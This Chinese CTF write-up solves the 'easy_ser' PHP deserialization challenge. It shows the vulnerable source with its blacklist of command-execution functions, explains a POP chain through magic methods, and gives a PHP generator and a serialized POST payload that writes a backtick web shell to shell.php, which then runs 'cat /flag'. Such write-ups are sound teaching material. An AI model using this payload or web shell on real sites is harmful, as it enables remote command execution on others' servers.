2024年春秋杯网络安全联赛冬季赛easy_ser

 题目打开是这个代码

<?php
//error_reporting(0);
function PassWAF1($data){
    $BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec",  "pcntl_exec", "passthru", "popen", "putenv");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}

function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

function PassWAF3($data){
    $BlackList = array("\.\.", "\/");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}

function Base64Decode($s){
    $decodeStr = base64_decode($s);
    if (is_bool($decodeStr)) {
        echo "gg";
        exit(-1);
    }
    return $decodeStr;
}

class STU{

    public $stu;
    public function __construct($stu){
        $this->stu = $stu;
    }

    public function __invoke(){
        echo $this->stu;
    }
}


class SDU{
    public $Dazhuan;

    public function __wakeup(){
        $Dazhuan = $this->Dazhuan;
        $Dazhuan();
    }
}


class CTF{
    public $hackman;
    public $filename;

    public function __toString(){

        $data = Base64Decode($this->hackman);
        $filename = $this->filename;

        if (PassWAF1($data)) {
            echo "so dirty";
            return;
        }
        if (PassWAF3($filename)) {
            echo "just so so?";
            return;
        }

        file_put_contents($filename, PassWAF2($data));
        echo "hack?";
        return "really!";
    }

    public function __destruct(){
        echo "bye";
    }
}

$give = $_POST['data'];
if (isset($_POST['data'])) {
    unserialize($give);
} else {
    echo "<center>听说pop挺好玩的</center>";
    highlight_file(__FILE__);
}

关键函数 

  • PassWAF1($data):检测 $data 中是否包含危险函数名。
  • PassWAF2($str):将字符串转化为十六进制和 ASCII 表示,格式化输出。
  • PassWAF3($data):检测 $data 中是否包含目录穿越字符 ../
  • Base64Decode($s):对传入的 Base64 编码字符串解码,并返回解码结果。如果解码失败,则终止程序。

 写一下反序列化的魔术方法

1__construct
 在实例化一个对象(new)时,会被自动调用
不允许重复声明
可以作为非public权限属性的初始化
  
2__sleep() 和 __wakeup方法
序列化时自动调用__sleep()方法
反序列化时自动调用__wakeup()方法

3__destruct方法 析构方法
类对象将要摧毁,也就是脚本执行完毕后清理工作是自动执行
只有在反序列化$data后 echo $data;或者强制结束进程system('taskkill /fi "imagename eq php.exe" /f');

4__call和__callstatic
类对象执行类不存在的方法时候,自动调用__call方法
直接执行类的不存在的静态方法时,会自动调用__callstatic方法
user:go() 静态调用 自动

5.get set 和 isset unset
__get 对不可访问属性或不存在属性 进行访问引用时自动调用
__set 对不可访问属性或不存在属性 进行写入时自动调用
__isset() __unset() 对不可访问属性或不存在属性 进行访问引用时自动调用

6 __tostring 方法
类的实例 和字符串拼接或者作为字符串引用时,会自动调用__tostring方法,对象echo自动调用
7 __invoke方法
当类的实例被作为函数的名字执行的时候,会自动调用__invoke方法
8__set_state方法
执行var_export自动调用
9__debugInfo()  方法的属性修饰
执行var_dump时自动调用
10 __clone方法
当使用clone关键字,clone一个对象时,会自动调用

pop链 

先反序列化调用SDU类里的 __wakeup(),然后使用了 $Dazhuan()函数,当类的实例被作为函数的名字执行调用STU类__invoke(),然后执行echo $this->stu;调用CTF类里__toString(),然后执行解码 hackman,利用PassWAF1和PassWAF3检查内容,写入到 filename 文件中。

所以pop链就是SDU-STU-CTF

绕过 

hackman=base64_encode('<?=`$_GET[1]`;?>');绕过passwaf1passwaf2 

payload

<?php
// 目标类
class CTF {
    public $hackman;
    public $filename;
}

class STU {
    public $stu;
}

class SDU {
    public $Dazhuan;
}

// 构造 CTF 对象
$ctf = new CTF();
$ctf->hackman = base64_encode('<?=`$_GET[1]`;?>'); // 文件内容
$ctf->filename = 'shell.php'; // 目标文件名

// 构造 STU 对象
$stu = new STU();
$stu->stu = $ctf;

// 构造 SDU 对象
$sdu = new SDU();
$sdu->Dazhuan = $stu;

// 序列化 SDU 对象
$payload = serialize($sdu);

// 输出 Payload
echo $payload;

 然后post传参data=O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:24:"PD89YCRfR0VUWzFdYDs/Pg==";s:8:"filename";s:9:"shell.php";}}}

成功后访问/shell.php?1=cat /flag进行命令执行就可以拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值